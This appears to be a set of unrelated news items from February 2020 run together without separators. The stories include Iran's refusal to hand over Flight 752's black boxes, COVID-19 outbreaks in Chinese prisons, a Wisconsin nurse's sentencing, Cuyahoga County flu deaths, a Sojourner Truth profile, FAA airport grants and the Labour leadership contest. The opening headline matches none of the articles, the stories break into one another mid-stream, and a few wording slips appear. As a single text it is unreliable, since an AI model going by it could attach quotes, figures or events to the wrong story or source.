Serious actor: 'Theres a lot that I dont do anymore. But when I have to work, I cut out everything' he said Thursday OTTAWACanada is ramping up complaints about Irans unprecedented delay in granting access to the black boxes of a Ukraine airlines flight shot down by military forces over Tehran in January. A frustrated Foreign Affairs Minister Francois-Philippe Champagne said Friday that Irans continuing refusal to hand over the jets black boxes defies international protocols and is frustrating the investigation into the downing of Ukraine International Airlines Flight 752 on Jan. 8. There is a path forward to make the truth come out with respect to the content of the black boxes. So clearly we are calling on Iran to follow that, Champagne said. Champagne used a speech on foreign policy Friday in Montreal to repeat Canadas call for the black boxes to be transferred to France for analysis without delay. We owe it to the families to get all the answers to the questions surrounding this terrible tragedy, the foreign affairs minister said. We will continue to hold the Iranian regime accountable. The Boeing 737-800 crashed barely two minutes after takeoff from Tehrans airport en route to Kyiv. After days of denial, Iranian officials confirmed that its own military had shot down the jet during a time of heightened tensions. While Iran was initially co-operative allowing Canadian investigators to visit the crash site and view the wreckage Champagne said that much work remains to be done in order for Iran to fully assume responsibility for this tragic event. That also includes swift compensation for the families of the victims, a demand Champagne has said he pressed for during a meeting with Iranian foreign minister Javad Zarif in Munich this week. Speaking to reporters after the speech, Champagne said that further delays in allowing the black boxes to be downloaded would be quite unprecedented. Canada has said that Iran lacks the technical expertise to download the data from the cockpit voice recorder and the flight data recorder. Champagne said there are discussions between Iran and authorities in France to send the devices there to be analyzed, a solution that Canada and other nations have urged. The Transportation Safety Board of Canada said again Friday that its ready to dispatch its specialists to assist in the downloading of the black box data. Former accident investigator Larry Vance says that Iran has no excuse for not allowing the black box data to be downloaded. The Iranians of course should be co-operating more. Its exceptionally frustrating and abnormal for them to hold those black boxes for this long, said Vance. Its way, way, way off base. But Vance also cautioned that the focus on the black boxes has raised unreasonable expectations about their value to the investigation. Given that the cause of the crash is already known, the information they contain may not be that helpful if they even continued to work after shrapnel from the missile tore into the aircraft, disabling systems. Its quite unlikely there will be very much new, if anything new, that will be revealed by the actual readout of the boxes, Vance said. For the investigation, its already long past the point where its of very much value, he said. What its turned into is just a diplomatic standoff, more than anything to do with accident investigation, Vance said. The European Investment Bank (EIB) is discussing a possibility of financing 10 projects in 2020 with Ukrainian partners from the public sector, Head of the EIB resident representation for Ukraine Jean-Erik de Zagon said at a press briefing in Kyiv on Friday. According to him, among the projects under discussion are the development of Boryspil Airport, the M14 Mariupol-Kherson highway, road safety, the development of urban public transport, the Ukrposhta investment program, and the completion of the Tashlyk hydroelectric power plant. In addition, they are discussing Ukraine's early restoration program, a project to improve energy efficiency in municipal buildings, a project to create vocational education and training centers in the country, as well as strengthening gas supply security. Zagon also said that in 2019, the EIB financed projects in Ukraine for a total of EUR 540 million. According to him, these are two projects: reconstruction of roads in Ukraine in the amount of EUR 450 million and financing of projects of the Kernel agricultural group for EUR 90 million. As reported, in December 2019, the EIB launched a project for EUR 400 million to provide long-term financing for small and medium-sized enterprises (SME) in the agricultural sector of Ukraine. According to a report on the bank's website, the EIB loan will be provided through financial intermediaries in the private and public sectors. CLEVELAND, Ohio The total number of flu-related deaths in Cuyahoga County has jumped to 14, health officials said Friday. The latest five deaths were an 88-year-old Bay Village woman; an 94-year-old Chagrin Falls woman; an 83-year-old East Cleveland woman; a 62-year-old Seven Hills man and a 60-year-old Shaker Heights man. The deaths were reported during the week of Feb. 15. The number of flu-related deaths last season (2018-19) didnt hit 14 until mid-April, according to the Cuyahoga County Board of Health statistics. Health officials do not release any additional personal information about flu victims, including whether or not they had received the flu vaccine. Summit and Medina counties did not have any flu-related deaths in the weeks of Jan. 26-Feb. 8, according to the latest report. This seasons influenza vaccine is 45% effective in protecting people from the virus, according to an interim report by the Centers for Disease Control and Prevention. Thats in line with many past flu vaccines, which had an estimated effectiveness rates of between 40% and 60%. And its a reasonable improvement over last seasons vaccine, which the CDC says was about 29% effective overall. Children enjoyed greater protection from this years flu shot, the CDC said, estimating that the vaccine offered 55% protection for those aged 6 months to 17 years. When researchers looked at the flu shots effectiveness in children against influenza type A and type B, they found that it was 50% effective against type B, but largely ineffective against type A in youth. In February, several area schools were closed for a day or two due to student and teacher illness. There have been 92 pediatric deaths across the country this flu season, according to the CDC. Two of those have been in northeast Ohio. Influenza activity remains elevated in most parts of the country, the CDC said. You can get a flu shot at many drugstores, retail stores, the Cuyahoga County Board of Health and doctors offices. There are no vaccine shortages in Ohio. The cost is $10 and up, depending on insurance. Here is a vaccine finder. Call the Cleveland Department of Public Health flu hotline at (216) 664-4621 to find out about the departments flu vaccination schedule. Strengthening leasing and deal management with an easy-to-use, mobile-friendly solution KUALA LUMPUR, Malaysia, Feb. 21, 2020 /PRNewswire/ -- Malaysian property developer Gamuda Land will be positioned to grow its commercial portfolio utilising Yardi Deal Manager, Yardi's cloud-based asset management platform. Yardi Deal Manager is part of the Yardi Elevate suite, which leverages real-time real estate data from Yardi Voyager to provide in-depth operational and predictive insights with recommended actions. By integrating all aspects of the leasing process in a single connected solution, Gamuda Land will reduce leasing cycle times, improve communication, engage prospects and gain insight into portfolio health. Yardi Deal Manager provides complete deal pipeline visibility along with unrivalled deal oversight and approval functionality that helps teams collaborate easily on properties, deals and prospects. Gamuda Land will also implement Voyager to manage its financial accounting and lease management operations. Browser-agnostic and fully mobile, Voyager drives workforce efficiency, promotes portfolio visibility and delivers comprehensive business intelligence. "Immediate access to portfolio financial and leasing data from Yardi Elevate will give us a competitive advantage. We recognise that the platform will be a vital element for managing our current operations and laying the groundwork for strategic growth," said Herbie Tan, Director Leasing, Retail and Malls for Gamuda Land. "We are excited to be working with Gamuda Land and providing them with a technology solution that will not only deliver the intelligence, transparency and reporting to drive decision making that supports growth, but represents a set of fully-connected real estate management solutions delivering the lowest cost of ownership," said Neal Gemassmer, vice president of international for Yardi. About Gamuda Land Gamuda Land is the property arm of Gamuda Berhad - the monumental nation builder with a spectrum of experience and expertise in engineering, construction and infrastructure concessions. Gamuda Land has over two decades of experience in developing townships, high-rise developments, country clubs and commercial centres. Some of its high profile, award-winning projects in Malaysia include Gamuda Cove, Gamuda Gardens, twentyfive.7, Horizon Hills, Kota Kemuning, Bandar Botanic, Jade Hills and Valencia among others; more notably, its international foothold is further strengthened by its overseas projects in Australia, Singapore and Vietnam respectively, some of which have won numerous awards. About Yardi Yardi develops and supports industry-leading investment and property management software for all types and sizes of real estate companies. Established in 1984, Yardi is based in Santa Barbara, Calif., and serves clients worldwide. For more information on how Yardi is Energised for Tomorrow, visit yardi.asia Logo - https://mma.prnewswire.com/media/737275/Yardi_Logo.jpg SOURCE Yardi Payments giant PayPal says small business credit is a "major opportunity" for it in Australia is championing a national digital identity framework to speed up the processes financial institutions use to verify customers. In a submission to a senate inquiry into financial and regulatory technology, PayPal joined a chorus of other fintechs in saying alternative business finance will be a key part of strategy moving forward. PayPal is eyeing future credit opportunities as it champions better digital ID methods to help assess customer and business risk. "Consumer and small business credit is a major opportunity for Paypal," the company's Australian chief executive Neil Matthews said. PayPal offers businesses working capital so they can borrow funds based a percentage of their income and repay this as they make future sales through the platform, minus a set fee which depends on the company's selling history. New Delhi: The auspicious occasion of Maha Shivratri is being celebrated across India on Friday with full fervour. Sea of devotees on throng temples to offer prayers to Lord Shiva and observe fast. Meanwhile, sand artist Sudarsan Pattnaik paid tribute to Lord Shiva in his unique style at Odisha's Puri beach. Pattnaik and his students have created breathtaking sand art creation of the god and he took to Twitter to share a glimpse of their work. "On the pious occasion of Maha Shivratri, may Lord Shiva bless us all with peace, happiness and prosperity. Har Har Mahadev," he wrote while sharing his creation. On the pious occasion of #MahaShivratri. May Lord Shiva bless us all with peace, happiness and prosperity. #HarHarMahadev pic.twitter.com/vSNNhCqjBG Sudarsan Pattnaik (@sudarsansand) February 21, 2020 Eleven of Patnaik's students also created sand sculptures of Lord Shiva to mark the festival. On the occasion of #MahaShivaratri My students created 11 sand sculptures of #LordShiva With message omm Namah Shivay, at Puri beach in Odisha pic.twitter.com/FxvsvOdPPY Sudarsan Pattnaik (@sudarsansand) February 20, 2020 Maha Shivratri, which means 'the greatest night of Shiva', is one of the most splendidly celebrated festivals across the country. It celebrates the grand marriage of Lord Shiva to Goddess Parvati. The duo of Shiv and Shakti is considered to be the epitome of love, power, and togetherness and the festival marks the initiation of their bond. Maha Shivaratri falls on Chaturdashi Tithi during Krishna Paksha in the month of Magha in the South Indian calendar or the Amavasyant Hindu lunar calendar. However, according to North Indian calendar or the Poornimant lunar calendar, Maha Shivaratri is the Masik (monthly) Shivaratri in the month of Phalguna. A Chinese man who is a member of the neighborhood committee, center, and security guards wear protective masks as they control entry and exit from a residential area on February 20, 2020 in Beijing, China. China reported some 512 coronavirus cases from four prisons, and two of those facilities are located in Hubei province, the epicenter of the outbreak. In Hubei, there are 230 COVID-19 cases at the Wuhan Women's prison and 41 cases at the Shayang Hanjin prison, according to a report from the province's state-run newspaper on Friday. At about mid-day on Friday, Hubei province's health commission revised higher the number of confirmed cases to account for a written report from the prison department that disclosed well over 200 cases in its system. Of 271 prison cases, 51 were previously already included in regional figures. Up north, Shandong province's Rencheng prison reported 207 confirmed cases of the virus, according to state news agency Xinhua on Friday. Seven of those infected are prison officers while the rest are inmates, Xinhua said, adding that prison officers started reporting symptoms in early February. Xie Weijin, the provincial judicial department chief was removed from his post, Communist Party-owned People's Daily said in a tweet. Xinhua said his departure was a result of inadequate epidemic prevention and control. All are being treated and isolated, the state news agency added. People's Daily Tweet The Shilifeng prison in Zhejiang province also reported a total of 34 infections, including 27 new confirmed cases on Thursday. All of them are inmates, according to Chinese media. Two officials were removed from their post in this case, reported the Global Times, another government-owned news outlet. GT Tweet Before the revised Hubei numbers were released, China's National Health Commission had said there were 889 new confirmed cases as of Feb. 20, bringing the total confirmed cases to 75,465. The death toll in mainland China so far is 2,236. "Jails are becoming the new battleground, Nomura economists said in a morning note on Friday, after pointing out that there's been a big sudden rebound of new cases outside Hubei. SSE Renewables is selling a wind farm in Co Tyrone that can generate enough electricity for 16,300 homes in a 51m deal (stock photo) SSE Renewables is selling a wind farm in Co Tyrone that can generate enough electricity for 16,300 homes in a 51m deal. Slieve Divena II wind farm near Ballygawley has been sold to Greencoat UK Wind, which now has seven wind farms in Northern Ireland. SSE Renewables is entering into an asset management agreement to manage the wind farm on behalf of Greencoat following the sale. Jim Smith, managing director of SSE Renewables, said: "The sale of Slieve Divena II to Greencoat UK Wind extends our long-standing relationship with Greencoat as a renewable investment partner on wind energy assets in the United Kingdom and Ireland." The wind farm is made up of eight 2.35MW wind turbines and is next to the first Slieve Divena wind farm, which Greencoat also owns. The transaction is expected to be completed by the end of next month and SSE said it intends to use the proceeds to reduce net debt. SSE will also continue to run an annual community fund linked to Slieve Divena II. Mr Smith added: "This sale is a further example of how SSE Renewables is creating high quality assets aligned with the transition to a low carbon economy. "Strategic asset disposals are in line with our long-standing approach to create value from the development and operation, as well as ownership, of renewable energy assets, and supports our ongoing future investment strategy to develop and build more onshore and offshore wind farms in our core markets of the UK and Ireland." It's the eighth wind farm which Greencoat UK Wind has acquired from SSE Renewables. Tim Ingram, chairman of Greencoat UK Wind, said: "We are delighted to acquire our eighth wind farm from SSE Renewables, which is testament to the long-standing relationship we have." Last week Greencoat Renewables in the Republic announced that it had bought a 14.1 megawatt wind farm in Clare for 35.4m. And Londonderry wind farm Brockaghboy was bought by Greencoat UK Wind in a 163m cash deal two years ago. Brockaghboy, near the city, was built by Italian firm ERG and TCI Renewables, and started operating in February 2018. Christopher Kaphaem, 44, pleaded guilty in September to 19 felony counts, including child abuse, for the injuries the babies suffered at UnityPoint Health-Meriter hospital in Madison, Wisconsin A nurse convicted of injuring nine babies in a neo-natal intensive care unit at a Wisconsin hospital has been sentenced to 13 years in prison. Christopher Kaphaem, 44, pleaded guilty in September to 19 felony counts, including child abuse, for the injuries the babies suffered at UnityPoint Health-Meriter hospital in Madison. He was sentenced on Thursday to 13 years in prison with an additional seven years of extended supervision. Kaphaem had been facing up to 25 years alone for one of the charges. During his sentencing hearing, Kaphaem told the parents of the babies he injured that he felt embarrassment and shame for what he did. 'None of what I'm feeling, however, can come close to the myriad of emotions and states of mind experienced by the families here today,' he said. 'You put your trust in me to care for your most precious loved ones and I failed you. The anguish I have caused is something no parent should ever have to endure.' Kaphaem had earlier told investigators he didn't remember harming the children. During his sentencing hearing, Kaphaem told the parents of the babies he injured that he felt embarrassment and shame for what he did. Photo courtesy of KWOW Police began investigating reports of injuries to infants at the UnityPoint Health-Meriter hospital in Madison in February last year Police began investigating reports of injuries to infants at the hospital in February last year. Hospital staff had documented an array of injuries to nine infants, including bruising, broken ribs, broken legs and a fractured skull. Kaphaem inflicted the injuries between March 2017 and February 2019. Investigators keyed on Kaphaem, who worked the night shift in the unit after other nurses told them that he had cared for the babies. They said Kaphaem often closed the door to the infants' rooms when he checked on them, ignored alarms, never asked for help and once said he was happy to work with infants because he didn't have to deal with patients talking back to him. The Centers for Medicare and Medicaid Services inspected the hospital in February, days after it suspended Kaphaem, and issued a scathing report saying the facility didn't do enough to prevent the injuries. The failure was so serious, the report said, that it constituted an immediate threat to patient health safety and the hospital's Medicare contract could be terminated if the problem isn't fixed. Toronto, Feb 21 : People having sex with casual partners are more than twice as likely (85 per cent) to use condoms as people in committed relationships (36 per cent), says a new study. Researchers from McMaster University peered into the most intimate moments of sexually active women and men across Canada to ask if they're using condoms, all in an effort to gather data that could inform decisions around public health and sex education. For the study, published in the journal PLOS ONE, the researchers looked at penile-vaginal intercourse, a broad area that has been under-explored in recent decades. The study found that condom use is greater among more educated people (50 per cent of college and university graduates) and among people who have received some kind of instruction in how to use condoms. (50 per cent of those who have received instruction) "The indications that condom education is associated with increased condom usage is an important reminder, if that education did not exist, condom use would decline and risk would rise," said the study's lead researcher Tina Fetner from McMaster University in Canada. In the study, researchers surveyed 2,300 people, balanced to mirror the gender, age, linguistic, educational, minority and regional make-up of Canada itself. The survey included adults who have had intercourse at least 10 times in the last six months. The survey revealed that 30 per cent of Canadians use condoms in penile-vaginal intercourse. Use is highest among young adults. (71 per cent among 18- to 35-year-olds). Men who have been diagnosed with sexually-transmitted infections are about three times more likely to never use condoms than men who haven't received an STI diagnosis, the study said. "The conclusion in the field is that there is a group of people who are just risk-takers, who are more likely to get STIs and continue with their risky behaviour," said Fetner. According to the study, men from visible minority groups are much more likely (67 per cent) than white men (40 per cent) to use condoms. In later stages, the research team plans to survey people in other countries where data is lacking, and to analyse how the results compare to existing policies that might be changed to minimize STIs and unwanted pregnancies through improved condom use. "The Lord has made me a sign unto this nation, an' I go round a'testifyin' an' showin' on 'em their sins agin my people." At a gathering of prominent clergymen and abolitionists at the home of Harriet Beecher Stowe, author of Uncle Tom's Cabin, Stowe was informed that Sojourner Truth was downstairs and wanted to meet her. "You's heerd o' me, I reckon?" the former slave asked Stowe when she came downstairs. "Yes, I think I have. You go about lecturing, do you not?" "Yes, honey, that's what I do. The Lord has made me a sign unto this nation, an' I go round a'testifyin' an' showin' on 'em their sins agin my people." Fascinated by Truth's stories and demeanor, Stowe called down several of the more well-known ministers at the party. When asked if she preached from the Bible, Truth said no, because she couldn't read. "When I preaches," she said, "I has just one text to preach from, an' I always preaches from this one. My text is, 'When I found Jesus.' " "Well, you couldn't have found a better one," said one of the ministers. In fact, Truth preached on more themes than thatabolition and women's rights to name twoand became one of the most celebrated and controversial itinerants of her era. Out of slavery Born a slave named Isabella Baumfree in southeastern New York, the future abolitionist had several owners during her childhoodmany of them cruelbefore ending up the property of John Dumont at age 13. For 17 years, she worked for him and then escaped. She made her way to the home of Issac and Maria Van Wagenerwhose home she said God showed her in a vision. The Quaker couple bought her from Dumont and then freed her. Timeline 1776 U.S. Declaration of Independence 1780 Robert Raikes begins his Sunday school 1789 Bill of Rights 1797 Sojourner Truth born 1883 Sojourner Truth dies 1891 Death of Samuel Crowther, First Anglican African Bishop A couple of years later, she had an experience that solidified her emerging faith. According to her dictated autobiography, one day "God revealed himself to her, with all the suddenness of a flash of lightning, showing her, 'in the twinkling of an eye, that he was all over,' that he pervaded the universe, 'and that there was no place where God was not.'" "I jes' walked round an' round in a dream," the former slave later told Stowe. "Jesus loved me! I knowed it, I felt it." During her early years, though, her faith was confused, and at one point she joined a cult whose leader eventually murdered one of the members; for another period, she followed the Millerites, who predicted Christ would return in 1843. Wanting to make a fresh start, Isabella asked God for a new name. Again she had a visionGod renamed her Sojourner "because I was to travel up an' down the land, showin' the people their sins, an' bein' a sign unto them." She soon asked God for a second name, "'cause everybody else had two names; and the Lord gave me Truth, because I was to declare the truth to the people." With this new mission, she left New York and traveled throughout New England, attending local prayer meetings and others she called on her own. In 1850 she published her autobiography, written with Olive Gilbert. It brought her fame, and with that fame came harassment. When she was once told the building she was to speak in would be burned if she preached, she replied, "Then I will speak to the ashes." Her quick wit and determination were only successful to a point. After being physically assaulted by one particularly vicious mob, she was forced to walk with a cane for the rest of her life. It was against slavery that the former slave made her most virulent attacks. But she was also a woman, and once she met other female abolitionists, she became an avid supporter of women's rights as well. For many northerners, this was even more controversial than her abolitionist preaching. Some tried to stop her from speaking at a Women's Rights Convention in Akron, Ohio, in 1851they feared it would weaken the abolitionist movement. But Truth spoke anyway, delivering her most famous speech: That man over there says that women need to be helped into carriages and lifted over ditches and to have the best place everywhere. Nobody helps me any best place. And ain't I a woman? Look at me! Look at my arm. I have plowed, I have planted, and I have gathered into barns. And no man could head me. And ain't I a woman? I could work as much and eat as much as manwhen I could get itand bear the lash as well! And ain't I a woman? I have borne children and seen most of them sold into slavery, and when I cried out with a mother's grief, none but Jesus heard me. And ain't I a woman? By the end of the Civil War, Truth had met with Abraham Lincoln, had her arm dislocated by a racist streetcar conductor, petitioned the government to make western lands available to freed blacks, and made countless speeches on behalf of African Americans and women. In 1875, she retired to her home in Battle Creek, Michigan, where she remained until her death. BEIJING - Chinas leadership sounded a cautious note Friday about the countrys progress in halting the spread of the new virus that has now killed more than 2,200 people, after several days of upbeat messages. The Politburo, made up of the senior officials of the ruling Communist Party, said the situation in Hubei province and its capital, Wuhan, remains grave. We should clearly see that the turning point of the development of the epidemic across the country hasnt arrived yet, the Politburo said at a meeting led by President Xi Jinping and reported by state broadcaster CCTV. The 25-member body said the outbreak has been preliminarily contained and urged party committees and governments at all levels to carry out prevention and control work without any relaxation to win the peoples war against the epidemic. The National Heath Commission earlier reported 889 newly confirmed cases in the previous 24 hours, bringing the total in mainland China to 75,465. The death toll rose by 118 to 2,236. More than 1,000 cases and 14 deaths have been confirmed elsewhere, from Japan to France. Newly reported infections in China have trended downward in recent days, though changes in how health authorities have counted cases have muddied the true trajectory of the epidemic. The overall situation is trending towards the better, and the outbreak is under control with zero increase in some provinces, said Zeng Yixin, vice director of National Health Commission. In Hubei and Wuhan, however, newly reported deaths remain at a high level. We need to take that seriously. The outbreak began in Wuhan and has hit the city and the rest of Hubei province the hardest. Officials have been sacked in Hubei and other areas after more than 500 cases were diagnosed in prisons, Justice Ministry official He Ping told reporters at a daily briefing. He and other public security officials reiterated that legal measures would be brought against those defying demands to wear masks and take other containment measures. People in China mourned the death of another doctor who had succumbed to the disease Thursday, according to an announcement from the district in which he worked in Wuhan. Peng Yinhua, a respiratory and intensive care physician, was infected last month while treating patients with the illness. Chinese media reported that Peng was 29 years old, which would place him among the youngest to die from COVID-19, the name of the new illness. Most of the fatalities have been people aged 60 and over with underlying medical conditions, according to a report from Chinas Center for Disease Control and Prevention. A newspaper profile of Peng last month said he had postponed his wedding to help fight the epidemic, working day and night to accommodate the influx of patients. He is at least the third doctor to die in China from the illness. Hong Kong reported the first infection of a police officer in the semi-autonomous Chinese territory. The city has confirmed 69 cases of the virus, with two deaths. The 48-year-old officer had been at a dinner Tuesday with 59 other police officers, who have been placed in quarantine, the force said on its Facebook page. It urged officers to pay attention to hygiene to reduce the risk of transmission. ___ Associated Press writers Eileen Ng in Kuala Lumpur, Malaysia, and Yanan Wang in Beijing contributed to this report. RESIDENTS and business owners in Henley are being encouraged to help keep the streets clean. Town and community manager Helen Barnett wants shopkeepers to sweep and wash the pavements outside their businesses and for residents to pick up litter wherever they see it. She says that townsfolk should be working together to make it the best place to live, work and visit rather than complain about it and expect someone else to do it for them. Ms Barnett has called the initiative Henley Housekeeping to complement the town councils annual spring clean event. Every March scores of volunteers, including councillors and community groups, go round the town centre picking up rubbish. Last year, they filled 60 bin bags. Ms Barnett said: This initiative is about encouraging people to take pride in the town and not to just complain about it being dirty and such like. There are a number of people in the town who do things already as well as groups who try to make Henley the place people want it to be. When you come through town you want to see it looking lovely by making the best of what we have got. It is a shame when it is spoiled and this is just as much about education. There are people who walk around the town and step over rubbish. If you see rubbish, dont step over it, pick it up and put it in the bin. We, as a council, are looking at the nuts and bolts of street cleaning and possibly new bins and things that make the place look lovely. Ms Barnett, who lives near Nettlebed, said Henley Housekeeping was inspired by Bicester, where civic pride is encouraged. She said: There it goes from the top down, from the councils chief executive downwards. If they see rubbish they do a sweep. The council has adjusted its budget for doing more cleaning and we are looking at people to supply that service and whether we can get a machine to help with that. We will be writing to all the retailers here to ask them to get on board. This is not a one-person job or a project, it is an initiative that we could all join in. Ms Barnett singled out Laurence Menswear and jeweller David Rodger-Sharp, both in Duke Street, and the Stocks boutique and toy shop Bagatelle in Bell Street for taking pride in their shop fronts. This is about encouraging everybody to do their bit, she said. In November, the Henley Standard reported how the town may not enter this years Britain in Bloom competition because councillors said it looked too scruffy. Kellie Hinton, vice-chairman of Henley in Bloom, said that apart from the hanging baskets not enough was being done to make the town centre attractive. She said: Our residents should be littering less and our shopkeepers could take care of their frontages. There are sites in the town that are not pulling their weight. Im not proud to show it off. Its completely demoralising. We cant force shops to sweep outside but we need them to have more care in their appearance and for residents to not litter. If everyone was doing their bit then I would be absolutely in favour of entering the town lets show it off all day long. South Oxfordshire District Council provides an annual deep clean in which it sweeps the pavements, removes litter and kills weeds. In 2013, then Mayor Stefan Gawrysiak called on businesses to clean the streets outside their shops once a week. Twenty-six businesses, including pubs, takeaways and clothes stores, all agreed to support him. What do you think? Write to: Letters, Henley Standard, Caxton House, 1 Station Road, Henley or email letters @henleystandard.co.uk One Meghan Markle fan spends up to $250 per outfit copying the Duchess of Sussex's looks and says it has boosted her confidence at work since she has come back from maternity leave. Helen Terrero-Black, a 39-year-old assistant corporation counsel in New York City, said she had never been a royal watcher until Meghan Markle and Prince Harry started dating in 2016. It wasn't until January 2019 that she started recreating Meghan's outfits, and she's now replicated 20 of the 38-year-old's looks, from evening gowns to jeans and sweaters. Twinning! New York City resident Helen Terrero-Black, 39, likes Meghan Markle's style and likes to recreate it (though her dress was less pricey than Meghan's $1,700 Brandon Maxwell) Copycat: She first took notice of the purple Babaton by Aritizia dress Meghan wore under a red coat by Sentaler on January 14, 2019 and copied it Doubles: She's gone on to recreate 20 different looks, like the one Meghan wore on January 7, 2020 including a brown satin Vince skirt, a Reiss coat, and a brown top Helen said she was drawn to Meghan right away and thinks they have a bit in common. 'When I learned that Prince Harry and Meghan were dating, I started to keep up with them more, and even started to follow Prince William and Duchess Kate, whom I now love also,' she said. 'I became interested in the royal family and Meghan because, honestly, I thought it was awesome that someone of mixed race, like I am, was finally joining the royal family. 'Plus, Harry and Meghan were also an interracial couple as my husband and I are. So, I loved being able to see our family unit, at the time without a baby, in something as traditional and classy as the royal family.' But she didn't start mimicking her style right away. In fact, it took a particular eye-catching outfit to give her the idea. Exact! Though she usually buys similar items, she has bought exact versions of Meghan's less expensive clothes, like this J.Crew coat she wore on March 8, 2018 Score! She also found the exact $116 Banana Republic dress Meghan wore on October 1, 2019 Head up! Helen said dressing like the Duchess (like in the blue denim number she wore on July 26, 2018) gives her confidence A range: She copies both dressier outfits and Meghan's more casual looks 'I had just recently had my first baby and was just returning to work,' she said, referring to the birth of her now-two-year-old son Xavier. 'Meghan herself was expecting and I just loved her fashion generally.' One day, she saw a photo of Meghan, several months pregnant, in a red and purple outfit that caught her eye. The Duchess was visiting the town of Birkenhead, Merseyside, with Prince Harry in January of 2019, and had layered a bright red Sentaler coat over a purple dress from Babaton by Aritizia 'She looked so classy and confident in those vibrant colors and I noticed I had a couple pieces that if put together could pull off a similar look,' she said. 'It was also inspiring to see her working while also looking fabulous and classy especially because although she looked great, Im sure she didnt always feel great. 'This is something that a lot of us working professional moms have to do, particularly when youre in an environment where first impressions can be lasting impressions and where aesthetics plays a major part of how were perceived as is the case in law for women. Alike: Helen feels like she and Meghan have a lot in common, as they are both mixed race, in interracial couples, have have new babies New look: Helen had just gone back to work following maternity leave when she started dressing like Meghan Separates: She shops sales and from her own closet to put together looks to replicate Meghan's, like the Scanlan Theodore top she wore on October 27, 2018 Fancy: She has found other women on Instagram who also copy Meghan's outfits, like the $550 Judith & Charles dress she wore on August 29, 2018 'I then just decided to go for it. I would have never thought to wear the colors together. 'I wore a red blazer instead of a red coat and a purple satin dress with a camel coat over it all. It looked great and I got a ton of compliments and I was sort of hooked from then on,' she said. Since then, Helen's been has continued to copy Meghan's fashion choices, and has replicated 20 outfits, spending between $0 and $250 per look, depending on what she already has in her wardrobe. Helen always shops sales and rarely pays full price, unless the item is very special. She said that after posting pictures on line, she also learned that copying Meghan's looks is a 'thin' and 'there were many people doing the same.' 'Then I felt less weird about it and actually became Insta friends with other mirror Meghan girls,' she said. Not every look is an exact copy, but they're close enough like the skirt Helen found that looks like a Hugo Boss one Meghan wore on July 13, 2019 Bright spot: She also found a dress that looks similar to a red long-sleeve one Meghan wore on October 25, 2018 Sparkle: Helen shops at J. Crew, Club Monaco, Ann Taylor, Banana Republic, Net-a-Porter, Century21, and TJ Maxx (whereas Meghan's January 16, 2019 dress is Roland Mouret) The internet is Helens go-to when it comes to sourcing her Meghan inspired outfits, and she loves to shop at J. Crew, Club Monaco, Ann Taylor, Banana Republic, Net-a-Porter, Century21, and TJ Maxx. Her favorite semi-casual Meghan Markle look is her Wimbledon 2018 outfit, and for formal attire, her 2018 Trooping the Colour look. The most difficult outfit for Helen to get her hands on is the Banana Republic trench dress Meghan wore on a visit to the University of Johannesburg in October 2019, as it was in high demand. 'It was one of her most affordable looks and I really wanted the exact dress but so did a lot of folks. It was not easy,' she said. Helen phoned three different shops before finding it in stock in her size. 'This was and is something just plain fun for me to do for myself. I love trying to find things in my closet, or things I can shop for, within my budget, that will help me mirror Meghan especially when my day is constantly filled with things to do for work, my son, husband or others,' she said. Keeping casual: She looked just like Meghan in black jeans, a striped top, and a jacket that was similar to the J. Crew one she wore on February 25, 2019 Inspired: The red dress Helen picked out was a different color than Meghan's $1,385 Martin Grant shirtdress from October 26, 2018, but it had a similar vibe 'Its just something I do for myself and no one else. And, it feels a bit empowering. I know it might sound funny that something as superficial as clothes can make someone feel that way but it does. 'Ralph Lauren also once said, "Fashion is not necessarily about labels. Its not about brands. Its about something else that comes from within you." Which is why Im okay with doing "repli-Meghans" from clothes that arent always exactly the same. 'At the end of the day, how I dress makes me feel confident and Meghan has definitely helped with that,' she went on. 'I love that Meghan has really made an effort and her focus to engage in projects that empower women. I also appreciate her ability to advocate for her wellbeing whether it be her mental health or that of her familys despite the negative media surrounding her in the UK. 'Although, down deep inside Im hoping one day they could return to royal life but on better terms and better relations with the media. 'Maybe in twelve months they will, well see. In the meantime, Im just happy to see them [Harry, Meghan and Archie] happy,' she said. Notices for the two-year-old sustaining payment of the Maritime Breeders Stake, due March 15, 2020, were mailed last week. There was an error on the forms. The amount due for March 15, 2020 should be $200.00, not $300.00 as indicated. New notices were mailed today and should be received early next week. If you have already sent your payment in the wrong amount of $300.00, Standardbred Canada will issue a refund of $100.00 upon receipt of payment. If you have already paid on our eShop Stake Payment system, you have paid the correct fee. The Maritime Breeders Stake was changed to a divisions-only format this year for two-year-olds, and the sustaining fee was to be changed to $200.00 from the previous fee of $300.00. Standardbred Canada apologizes for any inconvenience this may have caused. JOURNAL STAFF REPORT The Federal Aviation Administration has awarded more than $1 million in federal grants to Ohkay Owingeh Airport, Gallup Municipal Airport, Deming Municipal Airport, Hatch Municipal Airport, Cavern City Air Terminal Airport in Carlsbad and Portales Municipal Airport for runway infrastructure improvements, New Mexicos congressional delegation announced Friday. The FAA has also awarded $750,000 to the Roswell Air Center as a revenue guarantee and marketing program to facilitate a future United Airlines direct service to Denver, Colorado. Ohkay Owingeh Airport, near Espanola, will receive $270,000 to rehabilitate the structural integrity of its runway and taxiways pavement. Portales Municipal Airport will receive $150,000 to perform pavement sealing and crack repair of the existing taxiway. The FAA grant will also fund a $75,000 runway reconstruction at Cavern City Air Terminal airport in Carlsbad and a $280,000 runway reconstruction Hatch Municipal Airport. Deming Municipal Airport will receive $157,000 and Gallup Municipal Airport $153,000 to rehabilitate existing terminal and runway pavement. New Mexicos regional airports are critical transportation lifelines for our states rural economies and communities, U.S. Sen. Udall said in a statement. As travel to and from New Mexico continues to increase, residents and visitors will increasingly rely on our regional airportsand this infrastructure and marketing funding will help them support New Mexicos economic success, he said L isa Nandy has accused Labour leadership rival Rebecca Long-Bailey of trying to manufacture division where there is none". Ms Nandy's comments come amid amid calls from Ms Long-Bailey for a social housing "building boom". Ms Long-Bailey has pledged to build hundreds of thousands of new council homes if shes elected as Jeremy Corbyns successor. However, she also appeared to suggest such issues were less of a priority to her fellow candidates, prompting a curt response from Ms Nandy. This is an attempt to manufacture division where there is none. A decent, affordable home is a human right, the Wigan MP said. As Labour leader I would maintain our commitment to a programme of mass council house building and ensuring secure, affordable tenancies for renters. Who will replace Jeremy Corbyn as Labour leader? 1 /4 Who will replace Jeremy Corbyn as Labour leader? Rebecca Long-Bailey Getty Images Lisa Nandy REUTERS Keir Starmer PA Despite her comments, Ms Long-Bailey addressed supporters in Portsmouth on Friday, saying: Theres not been a lot of talk about housing in this leadership campaign, sadly. But the fact is that were in a housing crisis. She continued: One fundamental way to change that, to make housing more affordable both for the private sector and to ensure weve got enough supply is to build more council houses, at least 100,000 